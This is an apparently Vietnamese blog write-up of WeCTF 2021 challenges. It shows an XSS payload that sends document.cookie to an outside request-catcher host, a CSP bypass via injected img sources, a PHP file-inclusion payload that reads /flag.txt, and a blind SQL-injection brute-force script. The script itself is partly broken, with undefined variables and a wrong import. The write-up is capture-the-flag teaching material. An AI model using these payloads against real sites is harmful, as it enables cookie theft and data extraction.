WECTF 2021 Writeup

Search for a command to run...

No comments yet. Be the first to comment.
Bài viết này là góc nhìn cá nhân của mình về các kỹ thuật redteam hiện đại, đặc biệt trong môi trường tài chính ngân hàng tại Việt Nam - nơi bảo mật đang ngày càng được chú trọng. Hành trình từ pentester đến redteam Ban đầu mình được tuyển vào đội pe...

Cloud 9*9 Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴 Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload {{7*7}} thì có nhảy ra exception: Error xuất hiện khi call e...

Dạo này đây rộ lên một công cụ cho phép xem những người đã vào profile của mình bằng cách click vào phần mềm này thì lập tức có bài đăng trên trang cá nhân chia sẻ với người khác cùng cài. Từ bài viết của bác Đặng Thanh Tùng trong nhóm J2TEAM Commun...


Truy cập vào /flag thì hiện Only admin can view this!
Kiểm tra file trong folder handout.zip thấy file Dockerfile.test thì chall này giấu flag ở env của python.
FROM python:3.8.10-alpine
WORKDIR /usr/src/app
RUN pip install django gunicorn
COPY . .
ENV FLAG "we{testflag}"
ENV ADMIN_TOKEN 123
CMD ["gunicorn", "cache.wsgi", "-b", "0.0.0.0:80"]
Có thêm cả ADMIN_TOKEN thì có vẻ nó để xác thực để lấy flag.
Check file urls.py thấy có xuất hiện bước xác thực cookies là ADMIN_TOKEN để có thể xem đc flag.
def flag(request: HttpRequest):
token = request.COOKIES.get("token")
print(token, ADMIN_TOKEN)
if not token or token != ADMIN_TOKEN:
return HttpResponse("Only admin can view this!")
return HttpResponse(FLAG)
Truy cập vào trang web uv.ctf.so để lấy cookies send script qua XSS:
<script>fetch(`https://hyp.requestcatcher.com?c=${document.cookie}`)</script>
Sử dụng cookie đó chèn vào web và truy cập /flag để lấy flag
Check file app.py ta thấy khi submit /write thì token được gen ngẫu nhiên

resp.headers["Content-Security-Policy"] = "default-src 'none'; connect-src 'self'; img-src " f"'self' {filter_url(img_urls)}; script-src 'none'; ""style-src 'self'; base-uri 'self'; form-action 'self' "
Ta sẽ inject qua {filter_url(img_urls)}
Thử send script:
<img src="https://hyp.requestcatcher.com/c;script-src">

Thì ta đã bypass đc CSP bài này khá đơn giản
Send script:
<img src="http://127.0.0.1:5500;script-src"/>
<img src="http://127.0.0.1:5500/bao-cao/script.js"/>
<script src="http://127.0.0.1:5500/bao-cao/script.js"></script>
Yeah ta đã lấy đc admin cookies
Description: yet another buggy PHP website. Flag is at /flag.txt on filesystem Host 1 (San Francisco): include.sf.ctf.so Host 2 (Los Angeles): include.la.ctf.so Host 3 (New York): include.ny.ctf.so Host 4 (Singapore): include.sg.ctf.so
Thì chắc chắn flag nằm trong /flag.txt
<?php
show_source(__FILE__);
@include $_GET["🤯"];
include path file bị lỗi ta sẽ lấy file text qua 🤯
URL encode cái 🤯 ta thu đc được %f0%9f%a4%af
Vì vậy payload là: /?%f0%9f%a4%af=%2fflag.txt
Description:
Shou is so dumb that he leaks his password (flag) to a phishing website.
Note: The flag contains underscore
Host 1 (San Francisco): phish.sf.ctf.so
Host 2 (Los Angeles): phish.la.ctf.so
Host 3 (New York): phish.ny.ctf.so
Host 4 (Singapore): phish.sg.ctf.so
Check source code file main.py ta thấy dữ liệu được gửi đến server rồi từ đó vào database:
@app.route("/add", methods=["POST"])
def add():
username = request.form["username"]
password = request.form["password"]
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
try:
db.execute_sql(sql)
except Exception as e:
return f"Err: {sql} <br>" + str(e)
return "Your password is leaked :)<br>" + \
"""<blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D" ><a href="//imgur.com/WY6z44D">Please
take care of your privacy</a></blockquote><script async src="//s.imgur.com/min/embed.js"
charset="utf-8"></script> """
Điểm ta chú ý nhất là
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
Có vẻ như đoạn code này dính SQL injection.
Send thử payload
password = "abc"
username = "(SELECT * FROM xyz)') -- "
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
print(sql)
# INSERT INTO `user`(password, username) VALUES ('abc', '(SELECT * FROM xyz)') -- ')
Nó cho phép ta SELECT cột từ các bảng hoặc các hành động khác.
Mình sẽ khai thác lấy các kí tự trong mật khẩu bằng cách ép buộc thông qua truy vấn SQL như này:
SELECT password FROM user WHERE username = "shou" AND password LIKE "%---HERE---%"
Chúng tôi biết rằng có một shou tên người dùng với mật khẩu là lá cờ Do đó, chúng tôi có thể kiểm tra xem một ký tự có trong mật khẩu hay không bằng cách thêm một điều kiện mà mật khẩu LIKE '% --- HERE ---%' Điều này hoạt động bằng cách sử dụng điều kiện LIKE, cùng với ký tự đại diện nhiều ký tự,%
Ta biết rằng có một người tên là shou tên người dùng với password là flag.
Do đó, ta có thể kiểm tra xem một kí tự có trong mật khẩu hay không bằng cách thêm một điều kiện mà password GLOB "%---HERE---%"
LIKE không thể check được chữ hoa chữ thường vì vậy ở đây t sử dụng GLOB
Để thực hiện điều đó ta sẽ inject như này:
username: hip
password: a',(SELECT password FROM user WHERE username = "shou" AND password GLOB "%{i}%")); --
Tiếp theo là brute password
Script:
import request, string
u = 'http://localhost:4009/add'
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
flag = 'we{'
result = ''
for i in s:
body = {'username':'hip', 'password':f'a\',(SELECT password FROM user WHERE username = \"shou\" AND password LIKE \"%{i}%\")); --'}
s = request.Session()
r = s.post(u, data=body)
if 'UNIQUE' in r.text: result += i
while flag[-1] != '}':
for i in foundchars:
body = {'username':'abc', 'password':f'a\',(SELECT password FROM user WHERE username = \"shou\" AND password GLOB \"{flag+i}*\"));--'}
s = request.Session()
r = s.post(u, data=body)
if 'UNIQUE' in r.text: flag += i
print(flag)
# result: we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P